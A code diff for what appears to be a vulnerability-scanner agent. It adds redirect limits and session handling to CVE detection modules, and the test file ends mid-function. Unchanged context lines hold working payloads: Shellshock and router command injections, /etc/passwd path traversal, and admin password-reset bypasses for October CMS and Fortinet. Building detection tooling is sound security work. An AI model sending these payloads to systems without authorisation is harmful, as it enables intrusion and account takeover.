diff --git a/agent/exploits/cve_2014_0780.py b/agent/exploits/cve_2014_0780.py
index a84784d8..ae649915 100644
--- a/agent/exploits/cve_2014_0780.py
+++ b/agent/exploits/cve_2014_0780.py
@@ -18,6 +18,7 @@
DEFAULT_TIMEOUT = 90
DEPTH = 10
+MAX_REDIRECTS = 2
@exploits_registry.register
@@ -27,15 +28,20 @@ class CVE20140780Exploit(definitions.Exploit):
"""
def accept(self, target: definitions.Target) -> bool:
+ session = requests.Session()
+ session.max_redirects = MAX_REDIRECTS
+ session.verify = False
target_uri = f"{target.scheme}://{target.host}:{target.port}"
try:
- requests.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT)
+ session.get(target_uri, timeout=DEFAULT_TIMEOUT)
except requests_exceptions.RequestException:
return False
return True
def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
session = requests.Session()
+ session.max_redirects = MAX_REDIRECTS
+ session.verify = False
target_uri = f"{target.scheme}://{target.host}:{target.port}"
file_names = ["boot.ini", "etc/passwd"]
for file_name in file_names:
@@ -46,7 +52,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
r = requests.Request(method="GET", url=url)
prep = r.prepare()
prep.url = url
- response = session.send(prep, verify=False, timeout=DEFAULT_TIMEOUT)
+ response = session.send(prep, timeout=DEFAULT_TIMEOUT)
except requests.exceptions.RequestException:
return []
diff --git a/agent/exploits/cve_2014_7169.py b/agent/exploits/cve_2014_7169.py
index a4f8e869..c13f81e6 100644
--- a/agent/exploits/cve_2014_7169.py
+++ b/agent/exploits/cve_2014_7169.py
@@ -25,31 +25,34 @@
PAYLOAD_TEMPLATE = "() { :;}; /bin/bash -c 'sleep %s'"
MAX_DELAY_DIFFERENCE = 5
DELAYS = [30, 40, 50, 60]
+MAX_REDIRECTS = 2
@exploits_registry.register
class CVE20147169Exploit(definitions.Exploit):
"""CVE-2014-7169: GNU Bourne-Again Shell (Bash) Arbitrary Code Execution Vulnerability."""
- def __init__(self) -> None:
- self.session = requests.Session()
-
def accept(self, target: definitions.Target) -> bool:
+ session = requests.Session()
+ session.max_redirects = MAX_REDIRECTS
+ session.verify = False
if target.path.endswith(".cgi") is False:
return False
target_uri = f"{target.scheme}://{target.host}:{target.port}{target.path}"
try:
- resp = self.session.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT)
+ resp = session.get(target_uri, timeout=DEFAULT_TIMEOUT)
except requests_exceptions.RequestException:
return False
return resp.status_code == 200
def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
+ session = requests.Session()
+ session.max_redirects = MAX_REDIRECTS
target_uri = f"{target.scheme}://{target.host}:{target.port}{target.path}"
for delay in DELAYS:
payload = PAYLOAD_TEMPLATE % delay
try:
- resp = self.session.get(
+ resp = session.get(
target_uri,
headers={
"User-Agent": payload,
diff --git a/agent/exploits/cve_2016_2386.py b/agent/exploits/cve_2016_2386.py
index 28d31669..d6c0c71c 100644
--- a/agent/exploits/cve_2016_2386.py
+++ b/agent/exploits/cve_2016_2386.py
@@ -43,6 +43,7 @@
"""
PERMISSION_KEYWORD = "deletePermissionByIdResponse"
+MAX_REDIRECTS = 2
@exploits_registry.register
@@ -52,8 +53,11 @@ class CVE20162386Exploit(definitions.Exploit):
"""
def accept(self, target: definitions.Target) -> bool:
+ session = requests.Session()
+ session.max_redirects = MAX_REDIRECTS
+ session.verify = False
try:
- resp = requests.get(target.origin, verify=False, timeout=DEFAULT_TIMEOUT)
+ resp = session.get(target.origin, timeout=DEFAULT_TIMEOUT)
except requests_exceptions.RequestException:
return False
server = resp.headers.get("server", "Unknown")
@@ -64,13 +68,15 @@ def accept(self, target: definitions.Target) -> bool:
return LOWER_VULNERABLE_VERSION <= target_version <= UPPER_VULNERABLE_VERSION
def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
+ session = requests.Session()
+ session.max_redirects = MAX_REDIRECTS
+ session.verify = False
try:
- resp = requests.post(
+ resp = session.post(
urlparse.urljoin(target.origin, TARGET_ENDPOINT),
headers=HEADERS,
data=PAYLOAD,
timeout=DEFAULT_TIMEOUT,
- verify=False,
)
except requests_exceptions.RequestException:
return []
diff --git a/agent/exploits/cve_2018_10561.py b/agent/exploits/cve_2018_10561.py
index 2e309171..2cc0524b 100644
--- a/agent/exploits/cve_2018_10561.py
+++ b/agent/exploits/cve_2018_10561.py
@@ -16,6 +16,7 @@
)
DEFAULT_TIMEOUT = 90
+MAX_REDIRECTS = 2
@exploits_registry.register
@@ -23,9 +24,12 @@ class CVE201810562Exploit(definitions.Exploit):
"""CVE-2018-10562: Dasan GPON Routers Command Injection Vulnerability."""
def accept(self, target: definitions.Target) -> bool:
+ session = requests.Session()
+ session.max_redirects = MAX_REDIRECTS
+ session.verify = False
target_uri = f"{target.scheme}://{target.host}:{target.port}"
try:
- requests.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT)
+ session.get(target_uri, timeout=DEFAULT_TIMEOUT)
except requests_exceptions.RequestException:
return False
@@ -33,6 +37,9 @@ def accept(self, target: definitions.Target) -> bool:
return True
def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
+ session = requests.Session()
+ session.max_redirects = MAX_REDIRECTS
+ session.verify = False
target_uri = f"{target.scheme}://{target.host}:{target.port}"
data = {
"XWebPageName": "diag",
@@ -44,15 +51,13 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
}
try:
- requests.post(
+ session.post(
target_uri + "/GponForm/diag_Form?images/",
data=data,
- verify=False,
timeout=DEFAULT_TIMEOUT,
)
- response = requests.get(
+ response = session.get(
target_uri + "/diag.html?images/",
- verify=False,
timeout=DEFAULT_TIMEOUT,
)
except requests_exceptions.RequestException:
diff --git a/agent/exploits/cve_2018_13382.py b/agent/exploits/cve_2018_13382.py
index e44c8073..ebaf47cd 100644
--- a/agent/exploits/cve_2018_13382.py
+++ b/agent/exploits/cve_2018_13382.py
@@ -18,6 +18,7 @@
"Connection": "close",
"Upgrade-Insecure-Requests": "1",
}
+MAX_REDIRECTS = 2
@exploits_registry.register
@@ -27,16 +28,20 @@ class CVE201813382Exploit(definitions.Exploit):
"""
def accept(self, target: definitions.Target) -> bool:
+ session = requests.Session()
+ session.max_redirects = MAX_REDIRECTS
+ session.verify = False
try:
url = f"{target.scheme}://{target.host}:{target.port}/remote/login?lang=en"
- r = requests.get(
- url, headers=HEADERS, verify=False, timeout=DEFAULT_TIMEOUT
- )
+ r = session.get(url, headers=HEADERS, timeout=DEFAULT_TIMEOUT)
except requests.exceptions.RequestException:
return False
return r.status_code == 200 and "
Please Login" in r.text
def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
+ session = requests.Session()
+ session.max_redirects = MAX_REDIRECTS
+ session.verify = False
url = f"{target.scheme}://{target.host}:{target.port}/remote/login?lang=en"
# we are trying to change the password for the user : admin
data = {
@@ -49,9 +54,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
"credential2": "ChangePassword",
}
try:
- res = requests.post(
- url, headers=HEADERS, data=data, verify=False, timeout=DEFAULT_TIMEOUT
- )
+ res = session.post(url, headers=HEADERS, data=data, timeout=DEFAULT_TIMEOUT)
except requests.exceptions.RequestException:
return []
diff --git a/agent/exploits/cve_2018_14558.py b/agent/exploits/cve_2018_14558.py
index 19d6dae7..2702852e 100644
--- a/agent/exploits/cve_2018_14558.py
+++ b/agent/exploits/cve_2018_14558.py
@@ -21,28 +21,31 @@
TARGET_PATH = "/goform/setUsbUnload/.js?deviceName=A;"
MAX_DELAY_DIFFERENCE = 5
DELAYS = [30, 40, 50, 60]
+MAX_REDIRECTS = 2
@exploits_registry.register
class CVE201814558Exploit(definitions.Exploit):
"""CVE-2018-14558: Tenda AC7, AC9, and AC10 Routers Command Injection Vulnerability"""
- def __init__(self) -> None:
- self.session = requests.Session()
-
def accept(self, target: definitions.Target) -> bool:
+ session = requests.Session()
+ session.max_redirects = MAX_REDIRECTS
+ session.verify = False
target_uri = f"{target.scheme}://{target.host}:{target.port}"
try:
- resp = self.session.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT)
+ resp = session.get(target_uri, timeout=DEFAULT_TIMEOUT)
except requests_exceptions.RequestException:
return False
return resp.status_code == 200
def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
+ session = requests.Session()
+ session.max_redirects = MAX_REDIRECTS
target_uri = f"{target.scheme}://{target.host}:{target.port}"
for delay in DELAYS:
try:
- resp = self.session.get(target_uri + TARGET_PATH + f"sleep {delay}")
+ resp = session.get(target_uri + TARGET_PATH + f"sleep {delay}")
except requests_exceptions.RequestException:
return []
elapsed = resp.elapsed.seconds
diff --git a/agent/exploits/cve_2018_14667.py b/agent/exploits/cve_2018_14667.py
index 12365ebb..6eb2357d 100644
--- a/agent/exploits/cve_2018_14667.py
+++ b/agent/exploits/cve_2018_14667.py
@@ -24,6 +24,7 @@
JST_PATTERN = re.compile(r"JSF/(.*)")
UPPER_VULNERABLE_VERSION = version.parse("3.3.4")
VERSION_PATTERN = re.compile(r'href="/a4j/s/(\d+_\d+_\d+)\.Final')
+MAX_REDIRECTS = 2
@exploits_registry.register
@@ -33,8 +34,11 @@ class CVE201814667Exploit(definitions.Exploit):
"""
def accept(self, target: definitions.Target) -> bool:
+ session = requests.Session()
+ session.max_redirects = MAX_REDIRECTS
+ session.verify = False
try:
- resp = requests.get(target.origin, verify=False, timeout=DEFAULT_TIMEOUT)
+ resp = session.get(target.origin, timeout=DEFAULT_TIMEOUT)
except requests_exceptions.RequestException:
return False
@@ -46,10 +50,15 @@ def accept(self, target: definitions.Target) -> bool:
return JST_PATTERN.search(jsf_header) is not None
def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
- resp = requests.get(
- target.origin,
- timeout=DEFAULT_TIMEOUT,
- )
+ session = requests.Session()
+ session.max_redirects = MAX_REDIRECTS
+ try:
+ resp = session.get(
+ target.origin,
+ timeout=DEFAULT_TIMEOUT,
+ )
+ except requests.exceptions.RequestException:
+ return []
if resp.status_code != 200:
return []
diff --git a/agent/exploits/cve_2018_7841.py b/agent/exploits/cve_2018_7841.py
index b1f1f164..5ed9a523 100644
--- a/agent/exploits/cve_2018_7841.py
+++ b/agent/exploits/cve_2018_7841.py
@@ -18,6 +18,7 @@
MAX_DELAY_DIFFERENCE = 5
DELAYS = [30, 40, 50, 60]
TARGET_ENDPOINT = "/smartdomuspad/modules/reporting/track_import_export.php"
+MAX_REDIRECTS = 2
@exploits_registry.register
@@ -27,16 +28,20 @@ class CVE20187841Exploit(definitions.Exploit):
"""
def accept(self, target: definitions.Target) -> bool:
+ session = requests.Session()
+ session.max_redirects = MAX_REDIRECTS
+ session.verify = False
target_uri = f"{target.scheme}://{target.host}:{target.port}"
try:
- resp = requests.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT)
+ resp = session.get(target_uri, timeout=DEFAULT_TIMEOUT)
except requests_exceptions.RequestException:
return False
return resp.status_code == 200
def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
- target_uri = f"{target.scheme}://{target.host}:{target.port}"
session = requests.Session()
+ session.max_redirects = MAX_REDIRECTS
+ target_uri = f"{target.scheme}://{target.host}:{target.port}"
for delay in DELAYS:
data = f"op=export&language=english&interval=1&object_id=`sleep {delay}`"
diff --git a/agent/exploits/cve_2019_12989__cve_2019_12991.py b/agent/exploits/cve_2019_12989__cve_2019_12991.py
index 43a127fe..ed0dcc68 100644
--- a/agent/exploits/cve_2019_12989__cve_2019_12991.py
+++ b/agent/exploits/cve_2019_12989__cve_2019_12991.py
@@ -16,6 +16,7 @@
DEFAULT_TIMEOUT = 90
HEADERS = {"SSL_CLIENT_VERIFY": "SUCCESS"}
+MAX_REDIRECTS = 2
logger = logging.getLogger(__name__)
@@ -27,14 +28,20 @@ class CVE201912989Exploit(definitions.Exploit):
"""
def accept(self, target: definitions.Target) -> bool:
+ session = requests.Session()
+ session.max_redirects = MAX_REDIRECTS
+ session.verify = False
target_uri = f"{target.scheme}://{target.host}:{target.port}"
try:
- requests.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT)
+ session.get(target_uri, timeout=DEFAULT_TIMEOUT)
except requests_exceptions.RequestException:
return False
return True
def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
+ session = requests.Session()
+ session.max_redirects = MAX_REDIRECTS
+ session.verify = False
url = (
f"{target.scheme}://{target.host}:{target.port}"
f"/sdwan/nitro/v1/config/get_package_file?action=file_download"
@@ -52,9 +59,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
}
}
try:
- r = requests.post(
- url, headers=HEADERS, json=json, verify=False, timeout=DEFAULT_TIMEOUT
- )
+ r = session.post(url, headers=HEADERS, json=json, timeout=DEFAULT_TIMEOUT)
except requests.exceptions.RequestException as e:
logger.error("Error : %s", e)
return []
diff --git a/agent/exploits/cve_2019_7193.py b/agent/exploits/cve_2019_7193.py
index 05d15b83..6822ea35 100644
--- a/agent/exploits/cve_2019_7193.py
+++ b/agent/exploits/cve_2019_7193.py
@@ -19,6 +19,7 @@
DEFAULT_TIMEOUT = 90
HEADERS = {"User-Agent": "Gundy - QNAP RCE"}
TARGET_FILE = "./../../../../../etc/passwd"
+MAX_REDIRECTS = 2
@exploits_registry.register
@@ -28,41 +29,45 @@ class CVE20197193Exploit(definitions.Exploit):
"""
def accept(self, target: definitions.Target) -> bool:
+ session = requests.Session()
+ session.max_redirects = MAX_REDIRECTS
+ session.verify = False
target_uri = f"{target.scheme}://{target.host}:{target.port}"
try:
- resp = requests.get(
- target_uri + "/cgi-bin/", verify=False, timeout=DEFAULT_TIMEOUT
- )
+ resp = session.get(target_uri + "/cgi-bin/", timeout=DEFAULT_TIMEOUT)
except requests_exceptions.RequestException:
return False
return resp.status_code == 200
def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
- target_uri = f"{target.scheme}://{target.host}:{target.port}"
session = requests.Session()
-
- # Get album id
- resp = session.post(
- target_uri + "/photo/p/api/album.php",
- data={"a": "setSlideshow", "f": "qsamplealbum"},
- headers=HEADERS,
- verify=False,
- timeout=DEFAULT_TIMEOUT,
- )
- if resp.status_code != 200:
+ session.max_redirects = MAX_REDIRECTS
+ session.verify = False
+ target_uri = f"{target.scheme}://{target.host}:{target.port}"
+ try:
+ # Get album id
+ resp = session.post(
+ target_uri + "/photo/p/api/album.php",
+ data={"a": "setSlideshow", "f": "qsamplealbum"},
+ headers=HEADERS,
+ timeout=DEFAULT_TIMEOUT,
+ )
+ except requests.exceptions.RequestException:
return []
album_match = re.search("(?<=)", resp.text)
if album_match is None:
return []
album_id = album_match.group()
- # Get access code
- resp = session.get(
- target_uri + "/photo/slideshow.php?album=" + album_id,
- headers=HEADERS,
- verify=False,
- timeout=DEFAULT_TIMEOUT,
- )
+ try:
+ # Get access code
+ resp = session.get(
+ target_uri + "/photo/slideshow.php?album=" + album_id,
+ headers=HEADERS,
+ timeout=DEFAULT_TIMEOUT,
+ )
+ except requests.exceptions.RequestException:
+ return []
if resp.status_code != 200:
return []
access_match = re.search("(?<=encodeURIComponent\\(').*?(?=')", resp.text)
@@ -78,13 +83,16 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
"f": "UMGObv",
"filename": TARGET_FILE,
}
- resp = session.post(
- target_uri + "/photo/p/api/video.php",
- data=post_data,
- headers=HEADERS,
- verify=False,
- timeout=DEFAULT_TIMEOUT,
- )
+ try:
+ resp = session.post(
+ target_uri + "/photo/p/api/video.php",
+ data=post_data,
+ headers=HEADERS,
+ timeout=DEFAULT_TIMEOUT,
+ )
+ except requests.exceptions.TooManyRedirects:
+ return []
+
if b"/bin/sh" not in resp.content:
return []
diff --git a/agent/exploits/cve_2021_22941.py b/agent/exploits/cve_2021_22941.py
index aca7cdb9..26a2e3ab 100644
--- a/agent/exploits/cve_2021_22941.py
+++ b/agent/exploits/cve_2021_22941.py
@@ -18,6 +18,7 @@
)
DEFAULT_TIMEOUT = 90
+MAX_REDIRECTS = 2
def _encode_multipart_formdata(files: dict[str, str]) -> tuple[str, str]:
@@ -37,14 +38,20 @@ class CVE20212941Exploit(definitions.Exploit):
"""CVE-2021-22941: Improper Access Control in Citrix ShareFile storage zones controller."""
def accept(self, target: definitions.Target) -> bool:
+ session = requests.Session()
+ session.max_redirects = MAX_REDIRECTS
+ session.verify = False
target_uri = f"{target.scheme}://{target.host}:{target.port}"
try:
- req = requests.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT)
+ req = session.get(target_uri, timeout=DEFAULT_TIMEOUT)
except requests_exceptions.RequestException:
return False
return "ShareFile" in req.text
def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
+ session = requests.Session()
+ session.max_redirects = MAX_REDIRECTS
+ session.verify = False
target_uri = f"{target.scheme}://{target.host}"
content_file = "A" * 4096
files = {"name": "text4", "filename": "text5", "content_file": content_file}
@@ -57,17 +64,15 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
"accountid": "123",
}
try:
- requests.post(
+ session.post(
target_uri + "/upload.aspx",
data=data,
params=params,
headers=headers,
- verify=False,
timeout=DEFAULT_TIMEOUT,
)
- req = requests.get(
+ req = session.get(
target_uri + "/configservice/Home/Error",
- verify=False,
timeout=DEFAULT_TIMEOUT,
)
except requests_exceptions.RequestException:
diff --git a/agent/exploits/cve_2021_32648.py b/agent/exploits/cve_2021_32648.py
index 1ccc8e78..42e7352e 100644
--- a/agent/exploits/cve_2021_32648.py
+++ b/agent/exploits/cve_2021_32648.py
@@ -21,6 +21,7 @@
PASSWORD_PATH = "/backend/backend/auth/reset/1"
SIGNIN_PATH = "/backend/backend/auth/signin"
FAILED_LOGIN = "The details you entered did not match our records. Please double-check and try again."
+MAX_REDIRECTS = 2
logger = logging.getLogger(__name__)
@@ -31,13 +32,12 @@ class CVE202132648Exploit(definitions.Exploit):
October CMS Improper Authentication: CVE-2021-32648.
"""
- session = requests.Session()
- session.verify = False
-
def accept(self, target: definitions.Target) -> bool:
+ session = requests.Session()
+ session.max_redirects = MAX_REDIRECTS
try:
url = f"{target.scheme}://{target.host}:{target.port}"
- r = requests.get(url, verify=False, timeout=DEFAULT_TIMEOUT)
+ r = session.get(url, timeout=DEFAULT_TIMEOUT)
except requests.exceptions.RequestException:
return False
return r.status_code == 200 and "october_session" in r.headers.get(
@@ -59,8 +59,14 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
def _get_csrf(self, url: str) -> Optional[str]:
"""Connect to Host and read the CSRF token so we can use it in POSTS"""
+ session = requests.Session()
+ session.max_redirects = MAX_REDIRECTS
csrf_pattern = b''
- csrf_request = self.session.get(f"{url}{RESET_PATH}")
+ try:
+ csrf_request = session.get(f"{url}{RESET_PATH}")
+ except requests.exceptions.RequestException:
+ return None
+
if csrf_request.status_code == 200:
match = re.search(csrf_pattern, csrf_request.content)
if match is not None:
@@ -70,12 +76,14 @@ def _get_csrf(self, url: str) -> Optional[str]:
def _trigger_reset(self, url: str) -> bool:
"""Trigger a Password Reset Request for the admin account"""
+ session = requests.Session()
+ session.max_redirects = MAX_REDIRECTS
reset_url = f"{url}{RESET_PATH}"
csrf_token = self._get_csrf(url)
if csrf_token is not None:
post_data = {"_token": csrf_token, "postback": 1, "login": "admin"}
try:
- reset_request = self.session.post(
+ reset_request = session.post(
reset_url, data=post_data, timeout=DEFAULT_TIMEOUT
)
except requests.exceptions.RequestException:
@@ -87,6 +95,8 @@ def _trigger_reset(self, url: str) -> bool:
def _login_attempt(self, url: str) -> bool:
"""checks if we can log in with the admin account."""
+ session = requests.Session()
+ session.max_redirects = MAX_REDIRECTS
login_url = f"{url}{SIGNIN_PATH}"
csrf_token = self._get_csrf(url)
if csrf_token is not None:
@@ -97,7 +107,7 @@ def _login_attempt(self, url: str) -> bool:
"password": "changePassword",
}
try:
- login_request = self.session.post(
+ login_request = session.post(
login_url, data=post_data, timeout=DEFAULT_TIMEOUT
)
except requests.exceptions.RequestException:
@@ -112,7 +122,8 @@ def _login_attempt(self, url: str) -> bool:
def _set_password(self, url: str) -> bool:
"""Send a request to set the admin password that will bypass the token checking"""
-
+ session = requests.Session()
+ session.max_redirects = MAX_REDIRECTS
# Generate a random string of len 42 to spoof a reset token
chars = string.ascii_uppercase + string.digits + string.ascii_lowercase
random_string = "".join(random.choice(chars) for _ in range(42))
@@ -127,7 +138,7 @@ def _set_password(self, url: str) -> bool:
"password": "changePassword",
}
try:
- reset_request = self.session.post(
+ reset_request = session.post(
reset_url,
verify=False,
headers={"Content-Type": "application/json"},
diff --git a/agent/exploits/cve_2022_26318.py b/agent/exploits/cve_2022_26318.py
index d30bd4ef..fed24158 100644
--- a/agent/exploits/cve_2022_26318.py
+++ b/agent/exploits/cve_2022_26318.py
@@ -18,6 +18,7 @@
)
DEFAULT_TIMEOUT = 90
+MAX_REDIRECTS = 2
@exploits_registry.register
@@ -27,27 +28,30 @@ class CVE202226318Exploit(definitions.Exploit):
"""
def accept(self, target: definitions.Target) -> bool:
+ session = requests.Session()
+ session.max_redirects = MAX_REDIRECTS
+ session.verify = False
target_uri = f"{target.scheme}://{target.host}:{target.port}"
try:
- requests.get(
- target_uri + "/agent/login", verify=False, timeout=DEFAULT_TIMEOUT
- )
+ session.get(target_uri + "/agent/login", timeout=DEFAULT_TIMEOUT)
except requests_exceptions.RequestException:
return False
return True
def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
+ session = requests.Session()
+ session.max_redirects = MAX_REDIRECTS
+ session.verify = False
target_uri = f"{target.scheme}://{target.host}:{target.port}"
payload = self._build_payload()
headers = {
"Content-Encoding": "gzip",
}
try:
- response = requests.post(
+ response = session.post(
target_uri + "/agent/login",
headers=headers,
data=payload,
- verify=False,
timeout=DEFAULT_TIMEOUT,
)
except requests_exceptions.RequestException:
diff --git a/agent/exploits/cve_2023_1389.py b/agent/exploits/cve_2023_1389.py
index 8ab2080c..6c768ba1 100644
--- a/agent/exploits/cve_2023_1389.py
+++ b/agent/exploits/cve_2023_1389.py
@@ -18,6 +18,7 @@
DEFAULT_TIMEOUT = 90
+MAX_REDIRECTS = 2
@exploits_registry.register
@@ -25,27 +26,31 @@ class CVE20231389Exploit(definitions.Exploit):
"""CVE-2023-1389: Remote Code Execution in TP-Link AX21."""
def accept(self, target: definitions.Target) -> bool:
+ session = requests.Session()
+ session.max_redirects = MAX_REDIRECTS
+ session.verify = False
target_uri = f"{target.scheme}://{target.host}:{target.port}/cgi-bin/luci/"
try:
- response = requests.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT)
+ response = session.get(target_uri, timeout=DEFAULT_TIMEOUT)
return response.status_code == 200
except requests_exceptions.RequestException:
return False
def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
+ session = requests.Session()
+ session.max_redirects = MAX_REDIRECTS
+ session.verify = False
target_uri = f"{target.scheme}://{target.host}:{target.port}"
try:
- response = requests.get(
+ response = session.get(
target_uri
+ "/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(notfound)",
- verify=False,
timeout=DEFAULT_TIMEOUT,
)
# TODO(OS-6117): Approximate check that needs a live instance to validate the issue.
if response.status_code == 500:
vulnerability = self._generate_vulnerability_object(target_uri)
return [vulnerability]
-
except requests_exceptions.RequestException:
return []
diff --git a/agent/exploits/cve_2023_22518.py b/agent/exploits/cve_2023_22518.py
index 8aa136f2..02ba4fc9 100644
--- a/agent/exploits/cve_2023_22518.py
+++ b/agent/exploits/cve_2023_22518.py
@@ -39,6 +39,7 @@
(version.parse("8.4.0"), version.parse("8.4.2")),
(version.parse("8.5.0"), version.parse("8.5.1")),
]
+MAX_REDIRECTS = 2
@exploits_registry.register
@@ -47,14 +48,13 @@ class CVE202322518Exploit(definitions.Exploit):
CVE-2023-22518: Improper Authorization Vulnerability In Confluence Data Center and Server
"""
- def __init__(self) -> None:
- self.session = requests.Session()
-
def accept(self, target: definitions.Target) -> bool:
+ session = requests.Session()
+ session.max_redirects = MAX_REDIRECTS
+ session.verify = False
try:
- resp = self.session.get(
+ resp = session.get(
urlparse.urljoin(target.origin, ACCEPT_ENDPOINT),
- verify=False,
timeout=DEFAULT_TIMEOUT,
)
except requests_exceptions.RequestException:
@@ -70,13 +70,15 @@ def accept(self, target: definitions.Target) -> bool:
return False
def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
+ session = requests.Session()
+ session.max_redirects = MAX_REDIRECTS
files = {
"buildIndex": (None, "false"),
"edit": (None, "Upload and import"),
"file": ("ZIP_DATA", io.BytesIO(b"\x00"), "application/zip"),
}
try:
- resp = self.session.post(
+ resp = session.post(
urlparse.urljoin(target.origin, CHECK_ENDPOINT),
files=files, # type: ignore
headers=HEADERS,
diff --git a/agent/exploits/cve_2023_27997.py b/agent/exploits/cve_2023_27997.py
index b14a2eb8..b8c02cc9 100644
--- a/agent/exploits/cve_2023_27997.py
+++ b/agent/exploits/cve_2023_27997.py
@@ -26,6 +26,7 @@
DEFAULT_TIMEOUT = 90
REQUESTS_PER_GROUP = 400
+MAX_REDIRECTS = 2
def _gen_enc_hdr(salt: bytes, l: int) -> str:
@@ -45,7 +46,6 @@ def _make_request(
req = session.post(
baseurl + "/remote/hostcheck_validate",
headers={"content-type": "application/x-www-form-urlencoded"},
- verify=False,
data=payload,
)
return req
@@ -69,11 +69,12 @@ class CVE202327997Exploit(definitions.Exploit):
"""CVE-2021-22941: A heap-based buffer overflow vulnerability in FortiOS."""
def accept(self, target: definitions.Target) -> bool:
+ session = requests.Session()
+ session.max_redirects = MAX_REDIRECTS
+ session.verify = False
target_uri = f"{target.scheme}://{target.host}:{target.port}:{target.port}"
try:
- req = requests.get(
- target_uri + "/remote/info", verify=False, timeout=DEFAULT_TIMEOUT
- )
+ req = session.get(target_uri + "/remote/info", timeout=DEFAULT_TIMEOUT)
reg = re.compile("salt='([0-9a-f]{8})'")
matches = reg.findall(req.text)
except requests_exceptions.RequestException:
@@ -81,10 +82,14 @@ def accept(self, target: definitions.Target) -> bool:
return len(matches) == 1
def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
+ session = requests.Session()
+ session.max_redirects = MAX_REDIRECTS
+ session.verify = False
target_uri = f"{target.scheme}://{target.host}:{target.port}"
- r = requests.get(
- target_uri + "/remote/info", verify=False, timeout=DEFAULT_TIMEOUT
- )
+ try:
+ r = session.get(target_uri + "/remote/info", timeout=DEFAULT_TIMEOUT)
+ except requests_exceptions.RequestException:
+ return []
reg = re.compile("salt='([0-9a-f]{8})'")
matches = reg.findall(r.text)
salt = matches[0].encode()
@@ -96,13 +101,22 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
overflow = []
regular = []
- s = requests.Session()
for i in range(REQUESTS_PER_GROUP):
- req1 = _make_request(s, target_uri, salt, alloc_size, alloc_size + 0xF0)
+ try:
+ req1 = _make_request(
+ session, target_uri, salt, alloc_size, alloc_size + 0xF0
+ )
+ except requests_exceptions.RequestException:
+ return []
overflow.append(req1.elapsed.microseconds)
- req2 = _make_request(s, target_uri, salt, alloc_size, alloc_size // 2)
+ try:
+ req2 = _make_request(
+ session, target_uri, salt, alloc_size, alloc_size // 2
+ )
+ except requests_exceptions.RequestException:
+ return []
regular.append(req2.elapsed.microseconds)
if i > 20 and i % 10 == 0:
diff --git a/agent/exploits/cve_2023_36845.py b/agent/exploits/cve_2023_36845.py
index 7ff95ae0..22c7df00 100644
--- a/agent/exploits/cve_2023_36845.py
+++ b/agent/exploits/cve_2023_36845.py
@@ -35,6 +35,7 @@
"auto_prepend_file": (None, "/etc/passwd\n"),
"PHPRC": (None, "/dev/fd/0"),
}
+MAX_REDIRECTS = 2
@exploits_registry.register
@@ -44,20 +45,24 @@ class CVE202336845Exploit(definitions.Exploit):
"""
def accept(self, target: definitions.Target) -> bool:
+ session = requests.Session()
+ session.max_redirects = MAX_REDIRECTS
+ session.verify = False
target_uri = f"{target.scheme}://{target.host}:{target.port}{target.path}"
try:
- resp = requests.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT)
+ resp = session.get(target_uri, timeout=DEFAULT_TIMEOUT)
except requests_exceptions.RequestException:
return False
return resp.status_code == 200 and JUNIPER_KEYWORD in resp.text
def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
+ session = requests.Session()
+ session.max_redirects = MAX_REDIRECTS
+ session.verify = False
target_uri = f"{target.scheme}://{target.host}:{target.port}{target.path}"
try:
- resp = requests.post(
- target_uri, files=PAYLOAD, verify=False, timeout=DEFAULT_TIMEOUT
- )
+ resp = session.post(target_uri, files=PAYLOAD, timeout=DEFAULT_TIMEOUT)
except requests_exceptions.RequestException:
return []
diff --git a/tests/asteroid_agent_test.py b/tests/asteroid_agent_test.py
index 3772617e..a5fb45fe 100644
--- a/tests/asteroid_agent_test.py
+++ b/tests/asteroid_agent_test.py
@@ -1,5 +1,5 @@
"""Unit tests for AsteroidAgent."""
-from typing import Type, Generator
+from typing import Type, Iterator
from ostorlab.agent.message import message as m
@@ -8,7 +8,7 @@
def testAsteroidAgent_whenExploitCheckDetectVulnz_EmitsVulnerabilityReport(
- exploit_instance_with_report: Generator[Type[definitions.Exploit], None, None],
+ exploit_instance_with_report: Iterator[Type[definitions.Exploit]],
asteroid_agent_instance: asteroid_agent.AsteroidAgent,
agent_mock: list[m.Message],
scan_message_domain_name: m.Message,
@@ -19,3 +19,21 @@ def testAsteroidAgent_whenExploitCheckDetectVulnz_EmitsVulnerabilityReport(
assert len(agent_mock) == 1
assert agent_mock[0].selector == "v3.report.vulnerability"
+
+
+def testAsteroidAgent_whenTooManyRedirects_doesNotCrash(
+ exploit_instance_with_report: Iterator[Type[definitions.Exploit]],
+ asteroid_agent_instance: asteroid_agent.AsteroidAgent,
+ agent_mock: list[m.Message],
+) -> None:
